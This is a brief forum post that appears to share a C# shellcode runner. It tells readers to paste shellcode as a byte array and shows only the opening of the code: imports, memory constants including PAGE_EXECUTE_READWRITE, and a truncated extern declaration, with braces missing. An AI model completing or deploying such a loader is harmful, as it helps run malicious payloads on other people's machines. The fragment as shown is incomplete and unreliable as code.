Author: regasmx86 - Replies: 0 - Views: 1369
Shellcode execution with C#
Your shellcode has to be pasted in C++ format: { 0xDE, 0xAD, 0xBE, 0xEF }

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;

namespace Net_Shellcode_Execution
class Program
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
private static extern